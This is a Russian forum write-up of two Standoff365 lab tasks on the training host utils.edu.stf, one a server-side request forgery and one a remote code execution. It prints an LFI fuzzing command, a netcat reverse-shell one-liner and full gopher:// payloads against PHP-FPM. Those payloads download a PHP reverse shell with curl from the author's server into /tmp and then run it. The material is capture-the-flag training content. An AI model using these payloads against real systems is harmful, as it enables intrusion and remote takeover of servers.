Заметка [WriteUp] web-3-1 web-3-2 utils.edu.stf | Standoff365

Темы, которые НЕ подходят по объему под префикс "Статья"

Введение

Приветствую всех читателей статьи! Продолжаю серию статьей по решению задач с платформы standoff365. В ней я вам представлю очередность шагов для решения данных заданий (web-3-1 and web-3-2).
link standoff 365

web 3-1

Первая задачка была довольно легкая, нужно было просто следовать инструкции с задания.
web-3-1 Подделка запроса со стороны сервера (SSRF) на узле utils.edu.stf

В самом задании сказано
Реализуйте SSRF на узле utils.edu.stf (10.124.1.237).
Для получения флага обратитесь по внутреннему адресу на порт 9732 ( ).
Подсказки не отображаются при отключенном VPN. Чтобы их просмотреть, настройте VPN-подключение.
На Сайте просто в поле url указываем
и получаем флаг


web-3-2

[web-3-2] Удаленное выполнение кода (RCE) на узле utils.edu.stf

Hint

Подсказки для тех у кого Регистрация на платформе и на впн на разных машинках.
hint1

Создайте специальную gopher-ссылку:​

Сгенерируйте специальную gopher-ссылку, которая обращается к PHP-FPM-серверу по порту 9000 и выполняет произвольный код.
Подумайте, какую команду вы хотите выполнить на сервере посредством SSRF.
hint2
Загрузите исполняемый файл (шелл) на сервер:
Залейте исполняемый файл (например, PHP-шелл) на сервер в доступный для записи каталог, например в /tmp/.
Убедитесь, что у вас есть доступ к этому файлу через SSRF.
hint3
Выполните код на сервере через SSRF:
Используйте gopher-ссылку для выполнения кода на сервере, например для запуска загруженного шелла и получения RCE.
Комментарий от автора: к с

Scout

Исходя из задания web-3-1 мы должны сделать для себя вывод что уязвимость и сам вектора атаки будет проходить на сайте через pdf convertor и уязвимость стоит искать именно там
Разведку начнём с фаззинга
ссылкан на wordlist link=seclists

Код:
ffuf -u http://10.124.1.237/convert.php?url=file://FUZZ -w ~/wordlists/seclists/Fuzzing/LFI/LFI-linux-and-windows_by-1N3@CrowdShield.txt  -e .php,.html,.txt,.zip,.gz,.tar,.dat,.log,.tar.gz,.sql,.rar,.swp,.bak,.asp,.aspx,.js,.img,.png,.jpeg -fs 1018
-e для поиска расширений добавленных к FUZZ
-w wordlist
-u url


Один из ответов от сервера меня заинтерисовал, открыв его я нашел для себя следующую информацию

/etc/nginx/sites-available/default [Status: 200, Size: 16184, Words: 393, Lines: 227, Duration: 116ms]
Выписываем вот это
fastcgi_pass 127.0.0.1:9000

FastCGI — это клиент-серверный протокол, который служит для взаимодействия веб-сервера и приложений, представляя собой более производительное и безопасное развитие технологии CGI (Common Gateway Interface).

1727385000091-png


Далее яндексим:
и находим :


1727385495657.png


или вот эту

на ней же можем найти и инструмент для тестирования tools

Из этиз ссылок я сделал вывод что уязвимость будет связанна с gopher через ssrf

Attack

На этапе атаки нам нужно будет получить revshell из ходя из задания

Примечание: один из способом получить revshell одной командой
nc -c bash 10.127.IP.IP Port
Но если не получилось снизу описано альтернативный способ решения


Как было сказано ранее, находим следующий инструмент на hacktricks tools

в качестве revshell будет использоваться = GitHub - pentestmonkey/php-reverse-shell
(Не забудьте в файле revshell поменять на свой Ip and port)
В качестве первого параметра в эксплоите написано указывать любой файл желательно php , поэтому мы решили указать сам convert.php и путь к нему (в разведке мы поняли что это линукс , по файловой системе, поэтому будет указывать полный путь /var/www/html/тут_файл)

Для начала проверим где мы через команду ls также можно было добавить pwd (ls ;pwd ) чтобы за один запрос получить как можно больше информации

Код:
 git clone https://github.com/tarunkant/Gopherus

──(kali㉿kali)-[~/Downloads/Gopherus]
└─$ gopherus --exploit fastcgi
 
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/convert.php                                                                                                 
Terminal command to run:  ls

Your gopher link is ready to do SSRF:                                                                                                                                         
 gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00


Далее Логично будет скачать revershell php с нашего сервера.
Сервер подымается следующей командой
python3 -m http.server 8000

Скачивать будем в директорию /tmp так как в большинстве случаев у нас всега на ее есть права, и мы можем там сохранить свой скрипты и т.п
Код:
 gopherus --exploit fastcgi                 
                                                                                                                                                                                                                                                                                                                                        
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/convert.php                                                                                                 
Terminal command to run:  curl -o /tmp/shell.php http://10.127.244.IP:Port/shell.php ; ls /tmp

Your gopher link is ready to do SSRF:                                                                                                                                         
                                                                                                                                                                              
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH120%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00x%04%00%3C%3Fphp%20system%28%27curl%20-o%20/tmp/shell.php%20http://10.127.244.IP%3APORT/shell.php%20%3B%20ls%20/tmp%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
-----------Made-by-SpyD3r-----------

Next step Запуск нашего скрипта
Также я выполнил дополнительную команду для добавления прав нашему скрипту.

chmod +x /tmp/*

Код:
┌──(kali㉿kali)-[~/Downloads/Gopherus]
└─$ gopherus --exploit fastcgi
                                                                                                                                           
                                                                                                                                                                             
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/convert.php                                                                                                 
Terminal command to run:  php /tmp/shell.php

Your gopher link is ready to do SSRF:                                                                                                                                         
                                                                                                                                                                              
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH70%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00F%04%00%3C%3Fphp%20system%28%27php%20/tmp/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Attack 2 from Aloha51

2 Cпособ эксплуатации уязвимости в котором было обнаружена неправильная настройка обработчика на сервере, которая считывала данные из body в запросах GET и PUT и выполняла код на стороне сервера

обратите внимание что метод в запросе заменяется на PUT

Прав в директории сервера не было (по адресу /var/www/html ) и поэтому пришлось в загружать file в папку /tmp

1727385495657.png


Получение файла /etc/passwd
1727385495657.png


Скачивание revshell-а
1727386282693.png


и после запускаем любым удобным для вас способом (Дополнительно нужно будет еще докинуть прав через комнаду chmod +x /tmp/* )

Заключение:


Это была довольно интересная задача.
Однако впереди нас ждут еще более увлекательные вызовы Давайте продолжим наше путешествие!
Если у вас есть дополнительные пожелания или изменения, дайте знать!

Автор: Archivist
vasya.kotov.8080@mail.ru
Соавтор: Nebty
alex122303q@gmail.com

Альтернативное решение:
Aloha51
 
Последнее редактирование:
  • Нравится
Реакции: yetiraki и Edmon Dantes
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!